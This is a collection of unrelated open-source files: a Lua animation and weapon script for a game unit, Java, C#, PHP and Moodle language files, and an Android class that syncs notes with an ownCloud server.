= -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [24] = { pieceA = OuterLoop49, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [25] = { pieceA = OuterLoop53, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [26] = { pieceA = OuterLoop52, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [27] = { pieceA = OuterLoop36, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [28] = { pieceA = OuterLoop37, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [29] = { pieceA = OuterLoop38, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, [30] = { pieceA = OuterLoop39, offA = { x = 0, y = -LengthFeed - 23, z = 0 }, pieceList = {}, SeedDir = { x = 0, y = 180, z = -90 } }, --[1]={pieceA,offA,pieceList,seedDir}, } function DeployInOrderTower(boolUnfold) if boolUnfold == true then for i = 1, #GunTable, 1 do Turn(GunTable[i], x_axis, math.rad(-90), 0) end pieceToGo = 0 for i = 1, #towerDeployTable, 1 do pieceToGo = towerDeployTable[i].pieceA offSet = towerDeployTable[i].offA DirVec = towerDeployTable[i].SeedDir reset(SeedCenter, 0) movePieceToPiece(unitID, SeedCenter, pieceToGo, 0, offSet, forceUpdate) Turn(SeedCenter, x_axis, math.rad(DirVec.x), 0) Turn(SeedCenter, y_axis, math.rad(DirVec.y), 0) Turn(SeedCenter, z_axis, math.rad(DirVec.z), 0) SeedLoop(1, feed_speed, true, radialSpeed) Show(pieceToGo) if towerDeployTable[i].pieceList then showT(towerDeployTable[i].pieceList) end end Sleep(100) else --fold echo("Folding Tower") for i = #towerDeployTable, 1, -1 do vector = { x = 0, y = 0, z = 0 } pieceToGo = towerDeployTable[i].pieceA Hide(pieceToGo) vector.x, vector.y, vector.z = towerDeployTable[i].offA.x, towerDeployTable[i].offA.y, towerDeployTable[i].offA.z vector.y = vector.y + LengthFeed * 3 DirVec = towerDeployTable[i].SeedDir reset(SeedCenter, 0) movePieceToPiece(unitID, SeedCenter, pieceToGo, 0, vector, forceUpdate) Turn(SeedCenter, x_axis, math.rad(DirVec.x), 0) Turn(SeedCenter, y_axis, math.rad(DirVec.y), 0) Turn(SeedCenter, z_axis, math.rad(DirVec.z), 0) SeedLoop(1, feed_speed, false, radialSpeed) if towerDeployTable[i].pieceList then hideT(towerDeployTable[i].pieceList) end end end end function DeployInOrder(boolUnfold) if boolUnfold == true then for i = 1, #GunTable, 1 do Turn(GunTable[i], x_axis, math.rad(-90), 0) end pieceToGo = 0 for i = 1, #piecesDeployTable, 1 do pieceToGo = piecesDeployTable[i].pieceA offSet = piecesDeployTable[i].offA DirVec = piecesDeployTable[i].SeedDir reset(SeedCenter, 0) movePieceToPiece(unitID, SeedCenter, pieceToGo, 0, offSet, forceUpdate) Turn(SeedCenter, x_axis, math.rad(DirVec.x), 0) Turn(SeedCenter, y_axis, math.rad(DirVec.y), 0) Turn(SeedCenter, z_axis, math.rad(DirVec.z), 0) SeedLoop(1, feed_speed, boolUnfold, radialSpeed) Show(pieceToGo) if piecesDeployTable[i].pieceList then showT(piecesDeployTable[i].pieceList) end end Sleep(100) else -- fold for i = #piecesDeployTable, 1, -1 do pieceToGo = piecesDeployTable[i].pieceA Hide(pieceToGo) offSet = piecesDeployTable[i].offA offSet = mulVector(offSet, -1) DirVec = piecesDeployTable[i].SeedDir reset(SeedCenter, 0) movePieceToPiece(unitID, SeedCenter, pieceToGo, 0, offSet, forceUpdate) Turn(SeedCenter, x_axis, math.rad(DirVec.x), 0) Turn(SeedCenter, y_axis, math.rad(DirVec.y), 0) Turn(SeedCenter, z_axis, math.rad(DirVec.z), 0) SeedLoop(1, feed_speed, false, radialSpeed) if piecesDeployTable[i].pieceList then hideT(piecesDeployTable[i].pieceList) end end end end CataRoto = {} CataLow = {} CataUp = {} CataHead = {} function hideCatapult(speedfactor) resetT(CataRoto, 19, false, true) resetT(CataLow) resetT(CataUp) resetT(CataHead) turnT(CataHead, x_axis, -178, 6 * speedfactor, false, true) turnT(CataUp, x_axis, -11, 2 * speedfactor, false, true) Sleep(1000) showT(CataHead) showT(CataUp) hideT(CataLow) turnT(CataHead, x_axis, -269, 6 * speedfactor, false, true) turnT(CataLow, x_axis, -179, 6 * speedfactor) turnT(CataUp, x_axis, 125, 6 * speedfactor, false, true) Sleep(1000) hideT(CataUp) turnT(CataUp, x_axis, 210, 6 * speedfactor, false, true) turnT(CataHead, x_axis, -252, 6 * speedfactor, false, true) turnT(CataLow, x_axis, -279, 6 * speedfactor) Sleep(1000) moveT(CataLow, z_axis, -10, 5 * speedfactor, false, true) end function unfoldCatapult(speedfactor) moveT(CataLow, z_axis, 0, speedfactor * 5, false, true) Sleep(1000) showT(CataHead) showT(CataUp) hideT(CataLow) turnT(CataHead, x_axis, -269, speedfactor * 6, false, true) turnT(CataLow, x_axis, -179, speedfactor * 6) turnT(CataUp, x_axis, 125, speedfactor * 6, false, true) Sleep(3000) showT(CataHead) showT(CataUp) showT(CataLow) resetT(CataLow, speedfactor * 15, false, true) resetT(CataUp, speedfactor * 15, false, true) resetT(CataHead, speedfactor * 15, false, true) Sleep(1000) randMoveCatapult() end function reloadCataPult() hideCatapult(1) unfoldCatapult(1) end function InnerCityDeploy(boolUnfold) if boolUnfold == true then hideCatapult(0) unfoldCatapult(1) for k, v in pairs(SignalTable) do if k ~= "GateLoop" then SignalTable[k] = false end end showT(CataLow) else hideCatapult(1) end end function un_foldRailGun(boolReverse) if boolReverse == true then WMove(RailGun, y_axis, -110 - 18, 0) Show(RailGun) WMove(RailGun, y_axis, 0, feed_speed) Show(Projectile) else StartThread(PlaySoundByUnitDefID, unitdef, "sounds/cgatefort/RailGunPrepare.ogg", 1, 5000, 1, 0) WMove(RailGun, y_axis, -110 - 18, 0) Hide(RailGun) end end boolFoldedBack=false function watchForImpact() while not GG.FiringGateFotressTable or not GG.FiringGateFotressTable[teamid] do Sleep(500) end while GG.FiringGateFotressTable[teamid][unitID] == true do Sleep(250) end boolOnTheMove = true foldAnimation() boolFoldedBack=true Spring.DestroyUnit(unitID, true, false) end function script.Activate() StartThread(un_foldRailGun, true) boolActivateTravelling = true return 1 end function script.Deactivate() StartThread(un_foldRailGun, false) boolActivateTravelling = false return 0 end turretSpeed = 3.141 boolFireRailGun = true function waitForTheWatcher() while boolFireRailGun == true do Sleep(100) end watchForImpact() end function Weapon1fire() boolOneShot = false if not GG.FiringGateFotressTable then GG.FiringGateFotressTable = {} end if not GG.FiringGateFotressTable[teamid] then GG.FiringGateFotressTable[teamid] = {} end GG.FiringGateFotressTable[teamid][unitID] = true WMove(RailGun, y_axis, -110 - 18, 75) boolFireRailGun = false StartThread(PlaySoundByUnitDefID, unitdef, "sounds/cgatefort/RailGunFire.ogg", 1, 5000, 1, 0) return true end boolUnfoldComplete = false boolTimeDelayed = false function timeDelayWeapon1() for i = 1, 3 do for k = 1, 60 do Sleep(1000) end end boolTimeDelayed = true end function Weapon1(Heading, pitch) --aiming animation: instantly turn the gun towards the enemy gunKey, isUserTarget, val = Spring.GetUnitWeaponTarget(unitID, 1) px, py, pz = 0, 0, 0 if gunKey == 1 and isUserTarget == true then px, py, pz = Spring.GetUnitPosition(val) return boolOneShot == true and boolDeployed == true and boolTimeDelayed == true and boolActivateTravelling == true end if gunKey == 2 and isUserTarget == true then px, py, pz = val[1], val[2], val[3] return boolOneShot == true and boolDeployed == true and boolTimeDelayed == true and boolActivateTravelling == true end end function script.FireWeapon(weaponID) --Spring.Echo("FireWeapon") if WeaponsTable[weaponID].coolDownTimer then WeaponsTable[weaponID].coolDownTimer = 9000 end if WeaponsTable[weaponID] and WeaponsTable[weaponID].firefunc then WeaponsTable[weaponID].firefunc() end return true end function genAim(weaponID, heading, pitch) Signal(WeaponsTable[weaponID].signal) SetSignalMask(WeaponsTable[weaponID].signal) WTurn(WeaponsTable[weaponID].aimpiece, y_axis, heading, turretSpeed) WTurn(WeaponsTable[weaponID].aimpiece, x_axis, -pitch, turretSpeed) return boolDeployed == true end catapult1Heading = math.huge function CataAim1(weaponID, heading, pitch) Signal(WeaponsTable[weaponID].signal) SetSignalMask(WeaponsTable[weaponID].signal) heading = heading + math.rad(-5) WTurn(CataRoto[1], y_axis, heading, 2) --WTurn(WeaponsTable[weaponID].aimpiece,x_axis,-pitch,3) return boolDeployed == true end function CataAim2(weaponID, heading, pitch) Signal(WeaponsTable[weaponID].signal) SetSignalMask(WeaponsTable[weaponID].signal) heading = heading + math.rad(5) WTurn(CataRoto[2], y_axis, heading, 2) --WTurn(WeaponsTable[weaponID].aimpiece,x_axis,-pitch,3) return boolDeployed == true end function genFire(WeaponID) return true end function randMoveCatapult() Turn(CataRoto[1], y_axis, math.rad(math.random(-360, 360)), 0.05) Turn(CataRoto[2], y_axis, math.rad(math.random(-360, 360)), 0.05) end function cataFireFunc() StartThread(randMoveCatapult) return true end WeaponsTable = {} function makeWeaponsTable() WeaponsTable[1] = { aimpiece = flare02, emitpiece = flare02, aimfunc = Weapon1, firefunc = Weapon1fire, signal = SigGen() } WeaponsTable[2] = { aimpiece = CataHead1, emitpiece = CataHead1, aimfunc = CataAim1, firefunc = cataFireFunc, signal = SigGen() } WeaponsTable[3] = { aimpiece = CataHead2, emitpiece = CataHead2, aimfunc = CataAim2, firefunc = cataFireFunc, signal = SigGen() } WeaponsTable[4] = { aimpiece = Gun1, emitpiece = Gun1, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[5] = { aimpiece = Gun2, emitpiece = Gun2, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[6] = { aimpiece = Gun3, emitpiece = Gun3, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[7] = { aimpiece = Gun4, emitpiece = Gun4, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[8] = { aimpiece = DronePodTable[1], emitpiece = DronePodTable[1], aimfunc = function() return true end, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[9] = { aimpiece = DronePodTable[2], emitpiece = DronePodTable[2], aimfunc = function() return true end, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[10] = { aimpiece = DronePodTable[3], emitpiece = DronePodTable[3], aimfunc = function() return true end, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } WeaponsTable[11] = { aimpiece = DronePodTable[4], emitpiece = DronePodTable[4], aimfunc = function() return true end, firefunc = genFire, signal = SigGen(), coolDownTimer = 0 } end function turretReseter() while true do Sleep(1000) for i = 4, 7 do if WeaponsTable[i].coolDownTimer > 0 then WeaponsTable[i].coolDownTimer = math.max(WeaponsTable[i].coolDownTimer - 1000, 0) elseif WeaponsTable[i].coolDownTimer <= 0 then tP(WeaponsTable[i].emitpiece, -90, 0, 0, 0) WeaponsTable[i].coolDownTimer = -1 end end end end function script.AimFromWeapon(weaponID) if WeaponsTable[weaponID] then return WeaponsTable[weaponID].aimpiece else return Gun1 end end function script.QueryWeapon(weaponID) if WeaponsTable[weaponID] then return WeaponsTable[weaponID].emitpiece else return Gun1 end end function script.AimWeapon(weaponID, heading, pitch) if WeaponsTable[weaponID] then if WeaponsTable[weaponID].aimfunc then return WeaponsTable[weaponID].aimfunc(weaponID, heading, pitch) and boolDeployed == true elseif boolDeployed == true then WTurn(WeaponsTable[weaponID].aimpiece, y_axis, heading, turretSpeed) WTurn(WeaponsTable[weaponID].aimpiece, x_axis, -pitch, turretSpeed) return true end end return false end
gpl-3.0
byu-vv-lab/sarl
src/edu/udel/cis/vsl/sarl/collections/package-info.java
431
/** * This package provides a persistent collections framework for collections of * symbolic expressions. The starting point is class * {@link edu.udel.cis.vsl.sarl.collections.Collections}. The public interface * are contained in the package {@link edu.udel.cis.vsl.sarl.collections.IF}. * Implementation classes are found in * {@link edu.udel.cis.vsl.sarl.collections.common}. */ package edu.udel.cis.vsl.sarl.collections;
gpl-3.0
DISID/disid-proofs
spring-roo-tests/src/main/java/org/springframework/roo/clinictests/config/SpringDataJpaDetachableRepositoryConfiguration.java
1945
/* * Copyright 2016 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.roo.clinictests.config; import io.springlets.data.jpa.repository.support.DetachableJpaRepositoryImpl; import org.springframework.context.annotation.Configuration; import org.springframework.data.jpa.repository.config.EnableJpaRepositories; import org.springframework.roo.clinictests.ClinictestsApplication; /** * Configuration to set the Spring Data JPA repositories base class, using the * {@link DetachableJpaRepositoryImpl} class provided by springlets-data-jpa. * * Once you use the {@link EnableJpaRepositories} annotation, the default autoconfiguration * way to look for the repositories in the same or a child package as the main class isn't * performed anymore. That's why the _basePackageClasses_ has to be set here. * * Another option would be to put the {@link EnableJpaRepositories} annotation in the main * class, but then the Spring Boot test slices, for example with the WebMvcTest annotation, * will apply the annotation and try to load the Spring Data JPA repositories. * * @author Cèsar Ordiñana at http://www.disid.com[DISID Corporation S.L.] */ @Configuration @EnableJpaRepositories(basePackageClasses = ClinictestsApplication.class, repositoryBaseClass = DetachableJpaRepositoryImpl.class) public class SpringDataJpaDetachableRepositoryConfiguration { }
gpl-3.0
EntradaProject/entrada-1x
www-root/core/library/Migrate/2016_11_04_095730_1306.php
1401
<?php class Migrate_2016_11_04_095730_1306 extends Entrada_Cli_Migrate { /** * Required: SQL / PHP that performs the upgrade migration. */ public function up() { $this->record(); ?> -- SQL Upgrade Queries Here; UPDATE `assessments` SET `collection_id` = NULL WHERE `collection_id` IS NOT NULL; TRUNCATE TABLE `assessment_collections`; ALTER TABLE `assessment_collections` ADD COLUMN `course_id` INT(12) unsigned AFTER `collection_id`; <?php $this->stop(); return $this->run(); } /** * Required: SQL / PHP that performs the downgrade migration. */ public function down() { $this->record(); ?> -- SQL Downgrade Queries Here; ALTER TABLE `assessment_collections` DROP COLUMN `course_id`; <?php $this->stop(); return $this->run(); } /** * Optional: PHP that verifies whether or not the changes outlined * in "up" are present in the active database. * * Return Values: -1 (not run) | 0 (changes not present or complete) | 1 (present) * * @return int */ public function audit() { $migration = new Models_Migration(); if ($migration->columnExists(DATABASE_NAME, "assessment_collections", "course_id")) { return 1; } return 0; } }
gpl-3.0
tohahn/UE_ML
UE06/gvgai/src/controllers/singlePlayer/replayer/Agent.java
1993
package controllers.singlePlayer.replayer; import java.util.ArrayList; import core.game.StateObservation; import core.player.AbstractPlayer; import ontology.Types; import tools.ElapsedCpuTimer; /** * Created with IntelliJ IDEA. * User: ssamot * Date: 14/11/13 * Time: 21:45 * This is a Java port from Tom Schaul's VGDL - https://github.com/schaul/py-vgdl */ public class Agent extends AbstractPlayer { /** * List of actions to execute. They must be loaded using loadActions(). */ private ArrayList<Types.ACTIONS> actions; /** * Current index of the action to be executed. */ private int actionIdx; /** * Public constructor with state observation and time due. * @param so state observation of the current game. * @param elapsedTimer Timer for the controller creation. */ public Agent(StateObservation so, ElapsedCpuTimer elapsedTimer) { actions = new ArrayList<Types.ACTIONS>(); } /** * Loads the action from the contents of the object received as parameter. * @param actionsToLoad ArrayList of actions to execute. */ public void setActions(ArrayList<Types.ACTIONS> actionsToLoad) { actionIdx = 0; this.actions = actionsToLoad; } /** * Picks an action. This function is called every game step to request an * action from the player. * @param stateObs Observation of the current state. * @param elapsedTimer Timer when the action returned is due. * @return An action for the current state */ public Types.ACTIONS act(StateObservation stateObs, ElapsedCpuTimer elapsedTimer) { Types.ACTIONS action = actions.get(actionIdx); actionIdx++; long remaining = elapsedTimer.remainingTimeMillis(); while(remaining > 1) { //This allows visualization of the replay. remaining = elapsedTimer.remainingTimeMillis(); } return action; } }
gpl-3.0
starts2000/TaoShang
Starts2000.TaoBaoTool/Starts2000.TaoBao.Core.Tests/Properties/AssemblyInfo.cs
1344
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // 有关程序集的常规信息通过以下 // 特性集控制。更改这些特性值可修改 // 与程序集关联的信息。 [assembly: AssemblyTitle("Starts2000.TaoBao.Core.Tests")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Starts2000.TaoBao.Core.Tests")] [assembly: AssemblyCopyright("Copyright © 2016")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // 将 ComVisible 设置为 false 使此程序集中的类型 // 对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, // 则将该类型上的 ComVisible 特性设置为 true。 [assembly: ComVisible(false)] // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID [assembly: Guid("77e47afd-4af2-4b41-be7f-b61d9ccd251c")] // 程序集的版本信息由下面四个值组成: // // 主版本 // 次版本 // 生成号 // 修订号 // // 可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, // 方法是按如下所示使用“*”: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
gpl-3.0
bjornpost/hapi
src/Harvest/Model/TaskAssignment.php
515
<?php namespace Harvest\Model; /** * Filter * * This file contains the class TaskAssignment * */ /** * Harvest TaskAssignment Object * * <p>Properties</p> * <ul> * <li>billable</li> * <li>budget</li> * <li>deactivated</li> * <li>hourly-rate</li> * <li>id</li> * <li>project-id</li> * <li>task-id</li> * <li>estimate</li> * </ul> * */ class TaskAssignment extends AbstractModel { /** * @var string task-assignment */ protected $_root = "task-assignment"; }
gpl-3.0
danielbonetto/twig_MVC
lang/it/filters.php
4594
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Strings for component 'filters', language 'it', branch 'MOODLE_22_STABLE' * * @package filters * @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $string['actfilterhdr'] = 'Filtri attivi'; $string['addfilter'] = 'Aggiungi filtro'; $string['anycategory'] = 'qualsiasi categoria'; $string['anycourse'] = 'qualsiasi corso'; $string['anyfield'] = 'qualsiasi campo'; $string['anyrole'] = 'qualsiasi ruolo'; $string['anyvalue'] = 'qualsiasi valore'; $string['applyto'] = 'Applica a'; $string['categoryrole'] = 'Ruolo di categoria'; $string['contains'] = 'contiene'; $string['content'] = 'Contenuto'; $string['contentandheadings'] = 'Contenuto ed intestazioni'; $string['courserole'] = 'Ruolo di corso'; $string['courserolelabel'] = '{$a->label} è {$a->rolename} in {$a->coursename} da {$a->categoryname}'; $string['courserolelabelerror'] = '{$a->label} errore: il corso {$a->coursename} non esiste'; $string['datelabelisafter'] = '{$a->label} è dopo di {$a->after}'; $string['datelabelisbefore'] = '{$a->label} è prima di {$a->before}'; $string['datelabelisbetween'] = '{$a->label} è tra {$a->after} e {$a->before}'; $string['defaultx'] = 'Default ({$a})'; $string['disabled'] = 'Disabilitato'; $string['doesnotcontain'] = 'non contiene'; $string['endswith'] = 'termina con'; $string['filterallwarning'] = 'Applicare filtri alle intestazioni oltre che al contenuto potrebbe aumentare notevolmente il carico sul server. Si raccomanda di utilizzare l\'impostazione "Applica a" con moderazione, il suo uso principale è relativo al filtro multi-lingua.'; $string['filtersettings'] = 'Impostazioni filtro'; $string['filtersettings_help'] = 'In questa pagina è possibile attivare o disattivare i filtri per specifiche parti del sito. Alcuni filtri possono avere impostazioni locali, nel qual caso sarà presente un link \'Impostazioni\' accanto al nome dl filtro.'; $string['filtersettingsforin'] = 'Impostazione di {$a->filter} in {$a->context}'; $string['filtersettingsin'] = 'Impostazione filtri {$a}'; $string['firstaccess'] = 'Primo accesso'; $string['globalrolelabel'] = '{$a->label} è {$a->value}'; $string['includesubcategories'] = 'Includere le sotto categorie?'; $string['isactive'] = 'Stato'; $string['isafter'] = 'è dopo'; $string['isanyvalue'] = 'è qualsiasi valore'; $string['isbefore'] = 'è prima'; $string['isdefined'] = 'è definito'; $string['isempty'] = 'è vuoto'; $string['isequalto'] = 'è uguale a'; $string['isgreaterorequalto'] = 'è superiore o uguale a'; $string['isgreaterthan'] = 'è superiore a'; $string['islessthan'] = 'è inferiore a'; $string['islessthanorequalto'] = 'è inferiore o uguale a'; $string['isnotdefined'] = 'non è definito'; $string['isnotequalto'] = 'non è uguale a'; $string['matchesallselected'] = 'corrisponde a tutti i selezionati'; $string['matchesanyselected'] = 'corrisponde a qualsiasi selezionato'; $string['neveraccessed'] = 'Mai acceduto'; $string['nevermodified'] = 'Mai modificato'; $string['newfilter'] = 'Nuovo filtro'; $string['nofiltersenabled'] = 'In questo sito non sono stati abilitati plugin filtro.'; $string['off'] = 'Off'; $string['offbutavailable'] = 'Off, disponibile'; $string['on'] = 'On'; $string['profilelabel'] = '{$a->label}: {$a->profile} {$a->operator} {$a->value}'; $string['profilelabelnovalue'] = '{$a->label}: {$a->profile} {$a->operator}'; $string['removeall'] = 'Rimuovi tutti i filtri'; $string['removeselected'] = 'Rimuovi i selezionati'; $string['selectlabel'] = '{$a->label} {$a->operator} {$a->value}'; $string['startswith'] = 'inizia con'; $string['tablenosave'] = 'Le modifiche apportate nella tabella saranno salvate automaticamente.'; $string['textlabel'] = '{$a->label} {$a->operator} {$a->value}'; $string['textlabelnovalue'] = '{$a->label} {$a->operator}';
gpl-3.0
aykit/MyOwnNotes
app/src/main/java/org/aykit/MyOwnNotes/asynctasks/SyncNotesAsyncTask.java
16786
package org.aykit.MyOwnNotes.asynctasks; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.database.Cursor; import android.net.Uri; import android.os.AsyncTask; import android.preference.PreferenceManager; import android.support.v4.content.LocalBroadcastManager; import android.text.TextUtils; import android.util.Log; import com.owncloud.android.lib.common.OwnCloudClient; import com.owncloud.android.lib.common.OwnCloudClientFactory; import com.owncloud.android.lib.common.OwnCloudCredentialsFactory; import com.owncloud.android.lib.common.operations.RemoteOperationResult; import com.owncloud.android.lib.resources.files.DownloadRemoteFileOperation; import com.owncloud.android.lib.resources.files.ExistenceCheckRemoteOperation; import com.owncloud.android.lib.resources.files.FileUtils; import com.owncloud.android.lib.resources.files.ReadRemoteFolderOperation; import com.owncloud.android.lib.resources.files.RemoteFile; import com.owncloud.android.lib.resources.files.RemoveRemoteFileOperation; import com.owncloud.android.lib.resources.files.UploadRemoteFileOperation; import org.apache.commons.io.FilenameUtils; import org.aykit.MyOwnNotes.R; import org.aykit.MyOwnNotes.activities.LoginActivity; import org.aykit.MyOwnNotes.database.NoteColumns; import org.aykit.MyOwnNotes.database.NotesProvider; import org.aykit.MyOwnNotes.database.model.Note; import org.aykit.MyOwnNotes.helpers.Settings; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileWriter; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; /** * Created by mklepp on 12/12/15. */ public class SyncNotesAsyncTask extends AsyncTask<Void, Integer, Boolean> { public static final String SYNC_PROGRESS = "SYNC_PROGRESS"; public static final String SYNC_FINISHED = "SYNC_FINISHED"; public static final String SYNC_FAILED = "SYNC_FAILED"; private Context mContext; private OwnCloudClient mClient; public static void start(Context context) { new SyncNotesAsyncTask(context).execute(); } private SyncNotesAsyncTask(Context context) { this.mContext = context; mClient = initClient(); } private OwnCloudClient initClient() { SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(mContext); String accountName = prefs.getString(Settings.PREF_ACCOUNT_NAME, null); String password = prefs.getString(Settings.PREF_ACCOUNT_PASSWORD, null); if (TextUtils.isEmpty(accountName) || TextUtils.isEmpty(password)) { // start LoginActivity showLoginActivity(); return null; } Uri baseUrl = Settings.getAccountURL(accountName); String username = Settings.getAccountUsername(accountName); OwnCloudClient client = OwnCloudClientFactory.createOwnCloudClient(baseUrl, mContext, false); client.setCredentials(OwnCloudCredentialsFactory.newBasicCredentials(username, password)); return client; } private void showLoginActivity() { Intent intent = new Intent(mContext, LoginActivity.class); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); mContext.startActivity(intent); } @Override protected void onProgressUpdate(Integer... values) { Intent intent = new Intent(SYNC_PROGRESS); intent.putExtra(SYNC_PROGRESS, values[0]); LocalBroadcastManager.getInstance(mContext).sendBroadcast(intent); } /* see https://github.com/aykit/MyOwnNotes/blob/85446b180d6ee7cc7d0bfbb7738763c880421d17/src/org/aykit/owncloud_notes/NoteListActivity.java#L369 - push new notes - push notes changes - push delete notes - get all notes */ @Override protected Boolean doInBackground(Void... params) { // no credentials found if (mClient == null) { return false; } if (!pushNewNotes()) { return false; } if (!pushEditedNotes()) { return false; } if (!deleteNotes()) { return false; } if (!fetchNotes()) { return false; } publishProgress(100); return true; } @Override protected void onPostExecute(Boolean aBoolean) { LocalBroadcastManager.getInstance(mContext).sendBroadcast(new Intent(SYNC_FINISHED)); super.onPostExecute(aBoolean); } private void publishCreateProgress(int current, int count) { publishPartialProgress(0, current, count); } private void publishUpdateProgress(int current, int count) { publishPartialProgress(1, current, count); } private void publishDeletionProgress(int current, int count) { publishPartialProgress(2, current, count); } private void publishDownloadProgress(int current, int count) { publishPartialProgress(3, current, count); } private void publishPartialProgress(int step, int current, int count) { int progress = (int) (25.f / count * current + 25.f * step); publishProgress(progress); } private Cursor getNotesCursorWithStatus(String[] status) { String select = NoteColumns.STATUS + "=?"; String[] selectArgs = status; String sortOrder = NoteColumns.CREATION_DATE + " ASC"; return mContext.getContentResolver().query(NotesProvider.NOTES.CONTENT_URI, null, select, selectArgs, sortOrder); } private boolean pushNewNotes() { Cursor cursor = getNotesCursorWithStatus(new String[]{NoteColumns.STATUS_NEW}); try { int count = cursor.getCount(); int current = 0; while (cursor.moveToNext()) { Note note = new Note(cursor); createNote(note); current += 1; publishCreateProgress(current, count); } return true; } catch (NullPointerException e) { e.printStackTrace(); } return false; } private void createNote(Note note) { File fileToUpload = null; try { fileToUpload = createTempFileFromNote(note); String remotePath = getRemoteFilePath(note); ExistenceCheckRemoteOperation checkRemoteOperation = new ExistenceCheckRemoteOperation(remotePath, false); RemoteOperationResult checkRemoteResult = checkRemoteOperation.execute(mClient); // file does exist (see true param for above ExistenceCheckRemoteOperation) if (checkRemoteResult.getCode().equals(RemoteOperationResult.ResultCode.FILE_NOT_FOUND)) { UploadRemoteFileOperation uploadRemoteFileOperation = new UploadRemoteFileOperation(fileToUpload.getAbsolutePath(), remotePath, "text/plain"); RemoteOperationResult result = uploadRemoteFileOperation.execute(mClient); if (result.isSuccess()) { note.setUploaded(); } else if (result.getCode().equals(RemoteOperationResult.ResultCode.CONFLICT)) { // don't destroy anything, create a new entry and let the user resolve the conflict note.filename = generateNewFileName(note.filename); createNote(note); } else { handleError(result); } } else if (checkRemoteResult.getCode().equals(RemoteOperationResult.ResultCode.OK)) { // if file already exists note.filename = generateNewFileName(note.filename); createNote(note); } } catch (IOException e) { e.printStackTrace(); } finally { if (fileToUpload != null) { fileToUpload.delete(); } mContext.getContentResolver().update(NotesProvider.NOTES.withId(note.id), note.getContentValues(), null, null); } } private String generateNewFileName(String name) { String nameWithoutExtension = FilenameUtils.removeExtension(name); String extension = FilenameUtils.getExtension(name); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd_HH-mm-ss"); return nameWithoutExtension + "_" + sdf.format(new Date()) + "." + extension; } private boolean pushEditedNotes() { Cursor cursor = getNotesCursorWithStatus(new String[]{NoteColumns.STATUS_UPDATE}); try { int count = cursor.getCount(); int current = 0; while (cursor.moveToNext()) { Note note = new Note(cursor); updateNote(note); current += 1; publishUpdateProgress(current, count); } return true; } catch (NullPointerException e) { e.printStackTrace(); } return false; } private void updateNote(Note note) { File fileToUpload = null; try { fileToUpload = createTempFileFromNote(note); String remotePath = getRemoteFilePath(note); ExistenceCheckRemoteOperation checkRemoteOperation = new ExistenceCheckRemoteOperation(remotePath, true); RemoteOperationResult checkRemoteResult = checkRemoteOperation.execute(mClient); // file does exist (see true param for above ExistenceCheckRemoteOperation) if (!checkRemoteResult.isSuccess()) { UploadRemoteFileOperation uploadRemoteFileOperation = new UploadRemoteFileOperation(fileToUpload.getAbsolutePath(), remotePath, "text/plain"); RemoteOperationResult result = uploadRemoteFileOperation.execute(mClient); if (result.isSuccess()) { note.setUploaded(); } else if (result.getCode().equals(RemoteOperationResult.ResultCode.CONFLICT)) { // don't destroy anything, create a new entry and let the user resolve the conflict note.filename = generateNewFileName(note.filename); createNote(note); } else { handleError(result); } } else { // if it doesn't exist on the server create on the server - let the user resolve this conflicts createNote(note); } } catch (IOException e) { e.printStackTrace(); } finally { if (fileToUpload != null) { fileToUpload.delete(); } 